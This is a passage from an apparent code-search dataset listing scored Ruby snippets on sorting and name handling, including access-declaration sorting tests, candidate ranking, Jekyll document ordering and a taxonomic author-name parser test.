"text": "def test_sorting\n # Make sure declarations with no length sort first.\n host_exact = Declaration.new(:allow, \"host.com\")\n host_range = Declaration.new(:allow, \"*.host.com\")\n\n ip_exact = Declaration.new(:allow, \"192.168.0.1\")\n ip_range = Declaration.new(:allow, \"192.168.0.*\")\n\n\n assert_equal(\n -1, host_exact <=> host_range,\n\n \"exact name match did not sort first\")\n\n\n assert_equal(\n -1, ip_exact <=> ip_range,\n\n \"exact ip match did not sort first\")\n\n # Next make sure we sort by length\n ip_long = Declaration.new(:allow, \"192.168.*\")\n assert_equal(-1, ip_range <=> ip_long, \"/16 sorted before /24 in ip\")\n\n # Now try it using masks\n ip24 = Declaration.new(:allow, \"192.168.0.0/24\")\n ip16 = Declaration.new(:allow, \"192.168.0.0/16\")\n\n assert_equal(-1, ip24 <=> ip16, \"/16 sorted before /24 in ip with masks\")\n\n # Make sure ip checks sort before host checks\n assert_equal(-1, ip_exact <=> host_exact, \"IP exact did not sort before host exact\")\n\n\n assert_equal(\n -1, ip_range <=> host_range,\n\n \"IP range did not sort before host range\")\n\n host_long = Declaration.new(:allow, \"*.domain.host.com\")\n\n assert_equal(-1, host_long <=> host_range, \"did not sort by domain length\")\n\n # Now make sure denies sort before allows, for equivalent\n # declarations.\n host_deny = Declaration.new(:deny, \"host.com\")\n assert_equal(-1, host_deny <=> host_exact, \"deny did not sort before allow when exact\")\n\n host_range_deny = Declaration.new(:deny, \"*.host.com\")\n assert_equal(-1, host_range_deny <=> host_range, \"deny did not sort before allow when ranged\")\n\n ip_allow = Declaration.new(:allow, \"192.168.0.0/16\")\n ip_deny = Declaration.new(:deny, \"192.168.0.0/16\")\n\n\n assert_equal(\n -1, ip_deny <=> ip_allow,\n\n \"deny did not sort before allow in ip range\")\n\n %w{host.com *.domain.com 192.168.0.1 192.168.0.1/24}.each do |decl|\n assert_equal(0, Declaration.new(:allow, decl) <=>\n Declaration.new(:allow, decl),\n \"Equivalent declarations for #{decl} were considered different\"\n )\n end\n end", "title": "" }, { "docid": "541ec213f7468a9a0fc1582975d52e6f", "score": "0.4984302", "text": "def show_qualified\n pp ordered_by_qualifications\nend", "title": "" }, { "docid": "6dc7eb2ed4ec57385c4578d70bcb9e8e", "score": "0.49721494", "text": "def filter_named_references\n @named_references_to_keep ||= []\n @named_references_that_can_be_set_at_runtime ||= []\n\n i = input('Named references')\n o = intermediate('Named references to keep')\n i.each_line do |line|\n sheet, name, ref = *line.split(\"\\t\")\n key = sheet.length != 0 ? [sheet, name] : name\n o.puts line if named_references_to_keep.include?(key) || named_references_that_can_be_set_at_runtime.include?(key)\n end\n close(o)\n\n i.rewind\n o = intermediate('Named references to set')\n i.each_line do |line|\n sheet, name, ref = *line.split(\"\\t\")\n key = sheet.length != 0 ? [sheet, name] : name\n o.puts line if named_references_that_can_be_set_at_runtime.include?(key)\n end\n close(o)\n\n # FIXME: Might result in getter and setter having different names\n rewrite RewriteNamedReferenceNames, 'Named references to keep', 'Worksheet C names', 'Named references to keep'\n rewrite RewriteNamedReferenceNames, 'Named references to set', 'Worksheet C names', 'Named references to set'\n end", "title": "" }, { "docid": "f3f376339452dd5b36a6b157d15f3acb", "score": "0.49691895", "text": "def sort\n @roster.each do |grade, studen_name|\n studen_name.sort!\n end\n end", "title": "" }, { "docid": "83341ff0d64168d9ba0614958fec4414", "score": "0.49610686", "text": "def used_names; end", "title": "" }, { "docid": "d04f74e151f932f0c32ce824a450cccd", "score": "0.49560392", "text": "def _literal_table_sort(tables)\n tables.sort_by{|s| literal(s)}\n end", "title": "" }, { "docid": "0cb193c62a0d5ab9986f7f281f51e6a5", "score": "0.4955325", "text": "def by_owners\n @entries\n .group_by(&:owner)\n .map{|owner,certs| Group.new certs, owner: owner }\n .sort_by{|grp| [-grp.hosts_count, grp.owner.downcase] }\n end", "title": "" }, { "docid": "b66eefef3423b43e3a85240c573376d9", "score": "0.4949928", "text": "def sort_entries; end", "title": "" }, { "docid": "78fcd7ba8ecc18845746517802f1ab3e", "score": "0.49405125", "text": "def names\n OrganizationResolver.rank(organization_names).pluck(:content)\n end", "title": "" }, { "docid": "f8dc416d4987de180cf9ff241c5b7078", "score": "0.4934131", "text": "def refd_qings\n return @refd_qings if defined?(@refd_qings)\n qings = display_conditions.map(&:ref_qing) + skip_rules.flat_map(&:ref_qings)\n @refd_qings = qings.uniq.sort_by(&:full_rank)\n end", "title": "" }, { "docid": "d745eb5dd9a74d55deefc8ec9b2ba562", "score": "0.49319434", "text": "def test_observations_of_queries\n # Create 2 Names, synonymized; 6 Observations, 6 Namings:\n # Name n, Name s,\n # n and s synonymized.\n # Each of n and s needs:\n # an Observation where it's a naming and it's the consensus\n # an Observation where it's a naming but its synonym is the consensus\n # an Observation where it's a naming but neither is the consensus.\n user = users(:rolf)\n nam = names(:lactarius_alpinus)\n syn = names(:lactarius_alpigenes) # a synonym of nam\n other_taxon = names(:suillus)\n\n # Observations where nam proposed\n nam_proposed_and_consensus =\n Observation.create(name: nam,\n notes: \"nam_proposed_and_consensus\", # for debugging\n user: user)\n Naming.create(observation: nam_proposed_and_consensus, name: nam,\n user: user)\n\n nam_proposed_syn_is_consensus =\n Observation.create(name: syn,\n notes: \"nam_proposed_and_consensus\", # for debugging\n user: user)\n Naming.create(observation: nam_proposed_syn_is_consensus, name: syn,\n user: user)\n Naming.create(observation: nam_proposed_syn_is_consensus, name: nam,\n user: user)\n\n nam_proposed_other_taxon_is_consensus =\n Observation.create(name: other_taxon,\n notes: \"nam_proposed_other_taxon_is_consensus\",\n user: user)\n Naming.create(observation: nam_proposed_other_taxon_is_consensus,\n name: nam, user: user)\n\n # Observations where syn proposed\n syn_proposed_and_consensus =\n Observation.create(name: syn,\n notes: \"syn_proposed_and_consensus\",\n user: user)\n Naming.create(observation: syn_proposed_and_consensus, name: syn,\n user: user)\n\n syn_proposed_nam_is_consensus =\n Observation.create(name: nam,\n notes: \"syn_proposed_nam_is_consensus\",\n user: user)\n Naming.create(observation: syn_proposed_nam_is_consensus, name: syn,\n user: user)\n Naming.create(observation: syn_proposed_nam_is_consensus, name: nam,\n user: user)\n\n syn_proposed_other_taxon_is_consensus =\n Observation.create(name: other_taxon,\n notes: \"syn_proposed_other_taxon_is_consensus\",\n user: user)\n Naming.create(observation: syn_proposed_other_taxon_is_consensus, name: syn,\n user: user)\n\n # Now test the Query's\n results = obss_of_taxon(nam).results\n assert(results.include?(nam_proposed_and_consensus))\n assert(results.include?(nam_proposed_syn_is_consensus))\n assert(results.include?(syn_proposed_and_consensus))\n assert(results.include?(syn_proposed_nam_is_consensus))\n assert(results.exclude?(nam_proposed_other_taxon_is_consensus))\n assert(results.exclude?(syn_proposed_other_taxon_is_consensus))\n\n results = obss_of_taxon_other_names(nam).results\n assert(results.exclude?(nam_proposed_and_consensus))\n assert(results.include?(nam_proposed_syn_is_consensus))\n assert(results.include?(syn_proposed_and_consensus))\n assert(results.exclude?(syn_proposed_nam_is_consensus))\n assert(results.exclude?(nam_proposed_other_taxon_is_consensus))\n assert(results.exclude?(syn_proposed_other_taxon_is_consensus))\n\n results = obss_other_taxa_this_taxon_proposed(nam).results\n assert(results.exclude?(nam_proposed_and_consensus))\n assert(results.exclude?(nam_proposed_syn_is_consensus))\n assert(results.exclude?(syn_proposed_and_consensus))\n assert(results.exclude?(syn_proposed_nam_is_consensus))\n assert(results.include?(nam_proposed_other_taxon_is_consensus))\n assert(results.include?(syn_proposed_other_taxon_is_consensus))\n\n results = obss_this_name_proposed(nam).results\n assert(results.include?(nam_proposed_and_consensus))\n assert(results.include?(nam_proposed_syn_is_consensus))\n assert(results.exclude?(syn_proposed_and_consensus))\n assert(results.include?(syn_proposed_nam_is_consensus))\n assert(results.include?(nam_proposed_other_taxon_is_consensus))\n assert(results.exclude?(syn_proposed_other_taxon_is_consensus))\n end", "title": "" }, { "docid": "ba222bafd4d1bd6a4420af97883ac717", "score": "0.49305987", "text": "def get_authors\n @branches.collect(&:author_names).flatten.uniq.sort_by { |k| k.downcase }\n end", "title": "" }, { "docid": "a1a847406b707d41a89a454106e9797b", "score": "0.49195784", "text": "def sort_docs_by_key!; end", "title": "" }, { "docid": "00ed3a82fb2aba7c5f272f49b66a0b4d", "score": "0.49172616", "text": "def sort_using(xs, sidebar)\n # caching is possible but doesn't improve significantly the build times\n\n rank_lookup = rank_lookup_from_sidebar(sidebar)\n\n xs.sort {|x, y|\n # The default rank is very high so that pages that don't appear in the sidebar are put at the end\n rx = rank_lookup[x.url] || 10000\n ry = rank_lookup[y.url] || 10000\n\n rx <=> ry\n }\n\n end", "title": "" }, { "docid": "226c1c1cff082c524399305d38063ee0", "score": "0.49049655", "text": "def sort_matched_arrays\n matched_arrays = [@matched_names, @matched_queries, @matched_tags,\n @matched_creator, @matched_modifier]\n matched_arrays.each do |array|\n array.joins(\"left join asq_statuses on asq_statuses.status_enum = \\\n asqs.status\")\n .order(\"disabled ASC, query_type ASC, \\\n asq_statuses.sort_priority ASC\")\n end\n end", "title": "" }, { "docid": "35b01843460dcf646dd13da494c26630", "score": "0.48987037", "text": "def sort_docs_by_key!\n meta_key = metadata[\"sort_by\"]\n # Modify `docs` array to cache document's property along with the Document instance\n docs.map! { |doc| [doc.data[meta_key], doc] }.sort! do |apples, olives|\n order = determine_sort_order(meta_key, apples, olives)\n\n # Fall back to `Document#<=>` if the properties were equal or were non-sortable\n # Otherwise continue with current sort-order\n if order.nil? || order.zero?\n apples[-1] <=> olives[-1]\n else\n order\n end\n\n # Finally restore the `docs` array with just the Document objects themselves\n end.map!(&:last)\n end", "title": "" }, { "docid": "bcfd58c267e9ecaa28e4a5daeb6bb345", "score": "0.48806494", "text": "def ordered_by_qualifications(candidates)\n myArray = candidates\n #first sort by github points\n myArray.sort! { |a, b| a[:github_points] <=> b[:github_points] }\n #sort by experience\n myArray.sort! { |a, b| a[:years_of_experience] <=> b[:years_of_experience] }\n\n return myArray\nend", "title": "" }, { "docid": "f19fb7dd7c960b0bf25eb7e90a36cea1", "score": "0.48718357", "text": "def sort_schemas_by_category(schemas)\n sorted_schemas=[]\n categories = {\n documents: %w(document invoice credit_note order estimate payment_reminder recurring line_item divider_item sub_total_item),\n contacts: %w(contact address),\n templates: %w(pdf_template email_template text_template export_template),\n system: %w(company user language sub auth_permission),\n supportive: %w(task tag email comment attachment export payment product),\n accounting: %w(account account_entry account_billing),\n }\n categories.each do |cat, obj_types|\n sorted_schemas << cat\n sorted_schemas << schemas.select{|obj| obj_types.include?(obj[:title]) }.sort{|a,b| a[:title].humanize <=> b[:title].humanize }\n end\n sorted_schemas\nend", "title": "" }, { "docid": "107cea3bb1d24ca1f2853aaab02e8162", "score": "0.48654777", "text": "def change_synonyms # :prefetch: :norobots:\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n @list_members = nil\n @new_names = nil\n @synonym_name_ids = []\n @synonym_names = []\n @deprecate_all = true\n if request.method == :post\n list = params[:synonym][:members].strip_squeeze\n @deprecate_all = (params[:deprecate][:all] == '1')\n\n # Create any new names that have been approved.\n construct_approved_names(list, params[:approved_names], @deprecate_all)\n\n # Parse the write-in list of names.\n sorter = NameSorter.new\n sorter.sort_names(list)\n sorter.append_approved_synonyms(params[:approved_synonyms])\n\n # Are any names unrecognized (only unapproved names will still be\n # unrecognized at this point) or ambiguous?\n if !sorter.only_single_names\n dump_sorter(sorter)\n # Has the user NOT had a chance to choose from among the synonyms of any\n # names they've written in?\n elsif !sorter.only_approved_synonyms\n flash_notice :name_change_synonyms_confirm.t\n else\n now = Time.now\n\n # Create synonym and add this name to it if this name not already\n # associated with a synonym.\n if !@name.synonym_id\n @name.synonym = Synonym.create\n @name.save\n Transaction.post_synonym(\n :id => @name.synonym\n )\n Transaction.put_name(\n :id => @name,\n :set_synonym => @name.synonym\n )\n end\n\n # Go through list of all synonyms for this name and written-in names.\n # Exclude any names that have un-checked check-boxes: newly written-in\n # names will not have a check-box yet, names written-in in previous\n # attempt to submit this form will have checkboxes and therefore must\n # be checked to proceed -- the default initial state.\n proposed_synonyms = params[:proposed_synonyms] || {}\n for n in sorter.all_synonyms\n # Synonymize all names that have been checked, or that don't have\n # checkboxes.\n if proposed_synonyms[n.id.to_s] != '0'\n if n.synonym_id != @name.synonym_id\n @name.transfer_synonym(n)\n Transaction.put_name(\n :id => n,\n :set_synonym => @name.synonym\n )\n end\n end\n end\n\n # De-synonymize any old synonyms in the \"existing synonyms\" list that\n # have been unchecked. This creates a new synonym to connect them if\n # there are multiple unchecked names -- that is, it splits this\n # synonym into two synonyms, with checked names staying in this one,\n # and unchecked names moving to the new one.\n check_for_new_synonym(@name, @name.synonyms, params[:existing_synonyms] || {})\n\n # Deprecate everything if that check-box has been marked.\n success = true\n if @deprecate_all\n for n in sorter.all_names\n if !deprecate_synonym(n)\n # Already flashed error message.\n success = false\n end\n end\n end\n\n if success\n redirect_to(:action => 'show_name', :id => @name.id,\n :params => query_params)\n else\n flash_object_errors(@name)\n flash_object_errors(@name.synonym)\n end\n end\n\n @list_members = sorter.all_line_strs.join(\"\\r\\n\")\n @new_names = sorter.new_name_strs.uniq\n @synonym_name_ids = sorter.all_synonyms.map(&:id)\n @synonym_names = @synonym_name_ids.map {|id| Name.safe_find(id)}.reject(&:nil?)\n end\n end\n end", "title": "" }, { "docid": "6643f1a4348609a199882ddf9cfc5330", "score": "0.48556423", "text": "def ordered_by_qualifications(candidates)\n if [:years_of_experience] == [:years_of_experience]\n @candidates.sort_by { |experience| experience[:years_of_experience] }.reverse\n else\n @candidates.sort_by { |github| github[:github_points]}.reverse\n end\nend", "title": "" }, { "docid": "025fe54dffe1485f6df22278a589faa8", "score": "0.48547655", "text": "def related_organisms\n organisms = related_assays.collect{|a| a.organisms}.flatten.uniq.compact\n organisms = organisms | related_models.collect{|m| m.organism}.uniq.compact\n organisms\n end", "title": "" }, { "docid": "184e4da860bfdb53624311d1e0fc5ed5", "score": "0.48514903", "text": "def sort_by_package_sets(packages, pkg_set_order)\n raise RuntimeError, \"#{self.class} needs to overwrite sort_by_package_sets\"\n end", "title": "" }, { "docid": "b034bebc84b37fc6b7d70a05319cce37", "score": "0.48508722", "text": "def keywords\n @entries.keys.sort # sorts keys to alphabetical \n end", "title": "" }, { "docid": "7622446a5983011606623c3201b8f0eb", "score": "0.48490992", "text": "def ordinal_sort(collection)\r\n name_object_hash = {}\r\n collection.each { |element| name_object_hash[element.name] = element }\r\n\r\n names = name_object_hash.keys\r\n sorted_names = names.sort_by do |n|\r\n [n.split(/(\\d+)/)[1].to_i, n.split(/\\s/)]\r\n end\r\n\r\n sorted_names.collect { |n| name_object_hash[n] }\r\n end", "title": "" }, { "docid": "df5a65ba359f21b599a199edc26dc38a", "score": "0.48482338", "text": "def dex_sorted_squads\n return Tools.sort_by_dex(active_squads)\n end", "title": "" }, { "docid": "fecc3585b46592e7cfb5ec230415e4c6", "score": "0.4845385", "text": "def assignable_specialties\n\t\t(Specialty.predefined + specialties).sort_by(&:lower_case_name).uniq\n\tend", "title": "" }, { "docid": "b7a9c009299c5aeccda593e9c7c29cdd", "score": "0.48308876", "text": "def marc_sortable_title\n lambda do |record, accumulator|\n st = Marc21Semantics.get_sortable_title(record)\n accumulator << st if st\n end\n end", "title": "" }, { "docid": "4e409d86dc1ed7663da3095915f9d300", "score": "0.48272118", "text": "def sort(array_of_nodes, order); end", "title": "" }, { "docid": "e88a5d3ce1f3777b0bbcc4d8b0161ba4", "score": "0.4823456", "text": "def sort_name\n @ole.SortName\n end", "title": "" }, { "docid": "eec2ee9c988fa86ce61fd1192eee6821", "score": "0.4817781", "text": "def sort_by_metric_title rel\n rel.joins(sort_join(\"right_id = sort.id\"))\n .order(\"sort.key #{@sort_args[:sort_order]}\")\n end", "title": "" }, { "docid": "78df5b349d679b8858b6ce5d3dc4846f", "score": "0.4814168", "text": "def rearrange_docs!\n docs_table = {}\n custom_order = {}\n\n # pre-sort to normalize default array across platforms and then proceed to create a Hash\n # from that sorted array.\n docs.sort.each do |doc|\n docs_table[doc.relative_path] = doc\n end\n\n metadata[\"order\"].each do |entry|\n custom_order[File.join(relative_directory, entry)] = nil\n end\n\n result = Jekyll::Utils.deep_merge_hashes(custom_order, docs_table).values\n result.compact!\n self.docs = result\n end", "title": "" }, { "docid": "45ba591352aad58d336ca542f6dee61c", "score": "0.48134282", "text": "def ordered_by_qualifications(candidates)\n sortedCandidates = candidates.sort_by! { |candidate| [candidate[:years_of_experience], candidate[:github_points]] }\n return sortedCandidates.reverse! \nend", "title": "" }, { "docid": "9979c9cda311b2186dc74f32e6198835", "score": "0.48110795", "text": "def rearrange_docs!; end", "title": "" }, { "docid": "641896f407e76f053dbd5f864d269d76", "score": "0.48106247", "text": "def sort\n @key_users.values.sort { |a, b| a.qnkeys <=> b.qnkeys }\n end", "title": "" }, { "docid": "72f68be142ef87cb7534eb65d98bb7a1", "score": "0.48082396", "text": "def managed_purls\n all.select(&:managed_purl?).sort_by { |x| [x.sort.present? ? 0 : 1, x.sort, x.text.present? ? 0 : 1, x.text] }\n end", "title": "" }, { "docid": "c859f4ef546839096222e520d8b79e84", "score": "0.48052204", "text": "def nonterms_to_order_of_appearance_number\r\n order_numbers = Hash.new(1e10)\r\n next_free_number = 0\r\n order_numbers[@nonterms_in_order.first] = (next_free_number += 1)\r\n @nonterms_in_order.each do |nonterm|\r\n productions[nonterm].each do |production|\r\n\tproduction.elements.each do |element|\r\n\t if nonterms.include?(element) and order_numbers[element] == 1e10\r\n\t order_numbers[element] = (next_free_number += 1)\r\n\t elsif element =~ /list\\((\\w+), (\\w+)\\)/ # Hack!!\r\n\t order_numbers[$1] = (next_free_number += 1) if order_numbers[$1] == 1e10\r\n\t order_numbers[$2] = (next_free_number += 1) if order_numbers[$2] == 1e10\r\n\t elsif element =~ /^(\\w*)\\?$/\r\n\t order_numbers[$1] = (next_free_number += 1) if order_numbers[$1] == 1e10\r\n\t end\r\n\tend\r\n end\r\n end\r\n order_numbers\r\n end", "title": "" }, { "docid": "fd20b2ecf912340cf1361a4c6f83aa4c", "score": "0.48044392", "text": "def synopsis_nodenames(syn)\n synopsis_elements(syn).collect {|node| node.node_name }\n end", "title": "" }, { "docid": "945184e8eb0d6a7ca6575141aed72feb", "score": "0.47973117", "text": "def test_calc_consensus_all_namings_deprecated\n obs = observations(:all_namings_deprecated_obs)\n winning_naming = namings(:all_namings_deprecated_winning_naming)\n assert_equal(winning_naming, obs.consensus_naming)\n end", "title": "" }, { "docid": "10c9a40d0158d18a14a900a91318308b", "score": "0.47959003", "text": "def fix_autonym(name, author, rank)\n last_word = name.split.last.gsub(/[()]/, \"\")\n if (match = author.to_s.match(\n /^(.*?)(( (#{ANY_SUBG_ABBR}|#{ANY_SSP_ABBR}) #{last_word})+)$/\n ))\n name = \"#{name}#{match[2]}\"\n author = match[1].strip\n words = match[2].split\n while words.any?\n next_rank = parse_rank_abbreviation(words.shift)\n words.shift\n make_sure_ranks_ordered_right!(rank, next_rank)\n rank = next_rank\n end\n end\n [name, author, rank]\n end", "title": "" }, { "docid": "c1b8ccc86efce5330de89cd91293cae7", "score": "0.4788474", "text": "def sort_table\n \"Artist\"\n end", "title": "" }, { "docid": "926a272b8364427faedd76b824e21b6e", "score": "0.47860748", "text": "def sort!\r\n @tabs.sort! { |x,y| x.name <=> y.name }\r\n end", "title": "" }, { "docid": "e7dfb2c21581f198752a89adad39e812", "score": "0.4785542", "text": "def matching_geo_terms\n (matching_countries + matching_states).map { |region| [region.name.downcase, region.code.downcase] }\n .flatten.sort_by { |string| -string.split.size }\n end", "title": "" }, { "docid": "145db6a478eb3f0ccc08a47043b7d0c2", "score": "0.47790235", "text": "def sort_definitions\n {}\n end", "title": "" }, { "docid": "88775b0978b43ce5aa49b77629ee8e1d", "score": "0.47721162", "text": "def sorted_sage_deprecated_elements\n sage_deprecated_elements.sort_by { |h| h[:title] }\n end", "title": "" }, { "docid": "91d3f681cd96146a25662e140c622c58", "score": "0.4770258", "text": "def sort_snps\n @snps.sort!{|x,y| x.location <=> y.location}\n end", "title": "" }, { "docid": "d06cb1dd4f55558c58b0a8e194136fa7", "score": "0.4767095", "text": "def humongous_sort\n list = File.readlines(file_name)\n full_list = list.sort_by { |x| x.downcase }\n end", "title": "" }, { "docid": "51a653b25bf434da9d92ab6b7f40f1dd", "score": "0.4760664", "text": "def sorted_labels; end", "title": "" }, { "docid": "e5b5a3311082518aa78816038f3e33ed", "score": "0.47565442", "text": "def add_name_terminology(t)\n # This is a mods:name. The underscore is purely to avoid namespace conflicts.\n t.name_ {\n t.type(:path => {:attribute=>\"type\"}, :namespace_prefix => nil)\n # this is a namepart\n t.namePart(:type=>:string, :label=>\"generic name\")\n t.role {\n t.text(:path=>\"roleTerm\",:attributes=>{:type=>\"text\"})\n t.code(:path=>\"roleTerm\",:attributes=>{:type=>\"code\"})\n }\n }\n\n # lookup :person, :first_name \n t.person(:ref=>:name, :attributes=>{:type=>\"personal\"}, :index_as=>[:facetable])\n t.organisation(:ref=>:name, :attributes=>{:type=>\"corporate\"}, :index_as=>[:facetable])\n t.conference(:ref=>:name, :attributes=>{:type=>\"conference\"}, :index_as=>[:facetable])\n\n t.role {\n t.text(:path=>\"roleTerm\",:attributes=>{:type=>\"text\"})\n t.code(:path=>\"roleTerm\",:attributes=>{:type=>\"code\"})\n }\n #corporate_name/personal_name created to provide facets without an appended roleTerm\n t.corporate_name(:path=>\"name\", :attributes=>{:type=>\"corporate\"}) {\n t.part(:path=>\"namePart\",:index_as=>[:facetable])\n }\n t.personal_name(:path=>\"name\", :attributes=>{:type=>\"personal\"}) {\n t.part(:path=>\"namePart\",:index_as=>[:facetable])\n }\n\n t.person_name(:proxy=>[:person, :namePart], :index_as=>[:displayable])\n t.person_role_text(:proxy=>[:person, :role, :text], :index_as=>[:displayable])\n t.person_role_code(:proxy=>[:person, :role, :code])\n\n t.organisation_name(:proxy=>[:organisation, :namePart], :index_as=>[:displayable])\n t.organisation_role_text(:proxy=>[:organisation, :role, :text], :index_as=>[:displayable])\n t.organisation_role_code(:proxy=>[:organisation, :role, :code]) \n end", "title": "" }, { "docid": "cb6b01ca766b3f733a8027549d154cf3", "score": "0.4750951", "text": "def sort_by_sex_then_ln!\n @entries.sort! { |a,b| [a.sex, a.ln] <=> [b.sex, b.ln] }\n end", "title": "" }, { "docid": "eab4518732b37ff487f7d94078be43e8", "score": "0.47503448", "text": "def anthologies\n\t\t@anthologies = Anthology.alphabetic.decorate\n\tend", "title": "" }, { "docid": "89900488c7498652f9057aaeaffc813f", "score": "0.47439677", "text": "def alphabetize!\n sort! { |a, b| grouped_compare(a, b) }\n end", "title": "" }, { "docid": "625fc71690c40ea30dc95a5a90419e96", "score": "0.47429413", "text": "def names_by_cohort\n @students.sort_by { |student| student[:cohort] }\nend", "title": "" }, { "docid": "8c61d0099ce5e596555da282a241b808", "score": "0.47338682", "text": "def topo_sort(dependencies) # tarjan's algorithm\n dependencies.default = [] # no need for #default_proc because array never gets mutated\n seen = {}\n ordering = []\n dependencies.keys.each do |vertex|\n resolve!(vertex, dependencies, ordering, seen) unless seen[vertex]\n end\n ordering\nend", "title": "" }, { "docid": "002f9eb213c237fb9fad9bf77bb83cfd", "score": "0.47338125", "text": "def allpseuds\n works.collect(&:pseuds).flatten.compact.uniq.sort\n end", "title": "" }, { "docid": "b11368e0b718700f5756afce7eaebc39", "score": "0.47262338", "text": "def get_keywords\r\n\t@keywords = Keyword.all\r\n\t@keywords.sort! { |a, b| a.name <=> b.name }\r\n end", "title": "" }, { "docid": "9ffaa90635b01e55e5b97ed854afb9ef", "score": "0.47216332", "text": "def collection_order(items) #nicer collection method - the unnecessary loops and arrays. (task 6)\n\n item_indexes = []\n collection_order = []\n\n for item in items\n item_indexes << find_index_at_value(item)\n end\n\n sorted_indexes = item_indexes.sort\n\n for index in sorted_indexes\n collection_order = collection_order << WAREHOUSE[index].keys[0].to_s\n end\n\nreturn collection_order\n\nend", "title": "" }, { "docid": "fd7504a20eed869e27e17ed1cb2f4f60", "score": "0.47199416", "text": "def ordered_by_qualifications(candidates)\n\n candidates.sort_by{ |candidate| [-candidate[:years_of_experience], -candidate[:github_points]] }\n\nend", "title": "" }, { "docid": "dc76033e80c428105fd3931dbb857cc8", "score": "0.4710425", "text": "def sort_list(x, y)\n [protease_name(x), protease_conc(y)]\n end", "title": "" }, { "docid": "eecf1800e009638f689e03f18e37eaf6", "score": "0.47050244", "text": "def terms\n @terms ||= wayfinder.decorated_ephemera_terms.sort_by(&:label)\n end", "title": "" }, { "docid": "485b11013ccb4771399a43a4fb6b3c7f", "score": "0.47048175", "text": "def test_authors\n auths = [\n \"Jepson, J.E.,Makarkin, V.N., & Jarzembowski, E.A.\", # 0\n \"Ren, D & Meng, X-m.\", # 1\n \"Ren, D and Meng, X-m.\", # 2\n \"Smith, J.H. and Jones, Y.K.\", # 3 \n \"Thomas jr. D.B.\", # 4\n \"Wighton, D.C., & Wilson, M.V.H.\", # 5\n \"Heyden, C.H.G. von & Heyden, L.F.J.D. von\", # 6 \n \"Zhang, B., et al.\", # 7\n \" Zhang, J.F. \", # 8\n \"Hong, Y-C.\", # 9 \n \"Yan, E.V.\", # 10\n \"Foo A, Bar ZA, Smith-Blorf A\", # 11\n \"Smith and Barnes\", # 12\n \"Smith & Barnes\", # 13 \n \"Smith\", # 14 \n \"Smith, Jones and Simon\", # 15\n \"Van Duzee\", # 16\n \"Walker, F.\", # 17\n \"Watson, T. F., D. Langston, D. Fullerton, R. Rakickas, B. Engroff, R. Rokey, and L. Bricker\", # 18\n \"Wheeler, A. G., Jr. and T. J. Henry.\", # 19\n \"Wheeler, A. G., Jr., B. R. Stinner, and T. J. Henry\", # 20\n \"Wilson, L. T. and A. P. Gutierrez\", # 21\n \"Torre-Bueno, J. R. de la\", # 22\n \"Vollenhoven, S. C. S.\", # 23\n \"Usinger, R. L. and P. D. Ashlock\", # 24\n \"van den Bosch, R. and K. Hagen\", # 25\n \"Slater, J. A. and J. E. O'Donnell\", # 26\n \"O'Donnell, J.E. and Slater, J. A.\", # 27\n \"Van Steenwyk, R. A., N. C. Toscano, G. R. Ballmer, K. Kido, and H. T. Reynolds\", # 28\n \"Ward, C. R., C. W. O'Brien, L. B. O'Brien, D. E. Foster, and E. W. Huddleston\", # 29\n \"McPherson, R. M., J. C. Smith, and W. A. Allen\", # 30\n \"Oatman, E. R., J. A. McMurty, H. H. Shorey, and V. Voth\", # 31\n \"Ferrari, E. von \", # 32\n \"Whitaker J. O., Jr., D. Rubin and J. R. Munsee\", # 33\n \"Palisot de Beauvois, A. M. F. J.\", # 34\n \"Maa, T.-C. and K.-S. Lin\", # 35\n \"Costa Lima, A. M. da, C. A. Campos Seabra, and C. R. Hathaway\", # 36\n \"Falcon, L. A., R. van den Bosch, C. A. Ferris, L. K. Stromberg, L. K. Etzel, R. E. Stinner, and T. F. Leigh\", # 37\n \"Kinzer, R. E., J. W. Davis, Jr., J. R. Coppedge, and S. L. Jones\", # 38\n \"Doesburg, P. H. van, Jr. \", # 39\n \"Arias J. R., Young D. G.\" # 40 \n ]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[40])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Arias', 'Young'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{J R}, %w{D G}] , t.names[0..1].collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[39])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Doesburg'], t.names.collect{|n| n[:last_name] }\n assert_equal \"van Jr.\", t.names[0][:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[38])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Kinzer', 'Davis', 'Coppedge', 'Jones'], t.names.collect{|n| n[:last_name] }\n assert_equal \"Jr.\", t.names[1][:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[37])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Falcon', 'van den Bosch', 'Ferris', 'Stromberg', 'Etzel', 'Stinner', 'Leigh'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{L A}, %w{R}, %w{C A}] , t.names[0..2].collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[36])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Costa Lima', 'Campos Seabra', 'Hathaway'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{A M}, %w{C A}, %w{C R}] , t.names.collect{|n| n[:initials] }\n assert_equal \"da\" , t.names.first[:suffix]\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[35])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Maa', 'Lin'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{T -C}, %w{K -S}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[32])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Ferrari'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{E}] , t.names.collect{|n| n[:initials] }\n assert_equal ['von'] , t.names.collect{|n| n[:suffix] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[31])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal ['Oatman', 'McMurty', 'Shorey', 'Voth'], t.names.collect{|n| n[:last_name] }\n assert_equal [%w{E R}, %w{J A}, %w{H H}, %w{V}] , t.names.collect{|n| n[:initials] }\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[30])\n assert t = 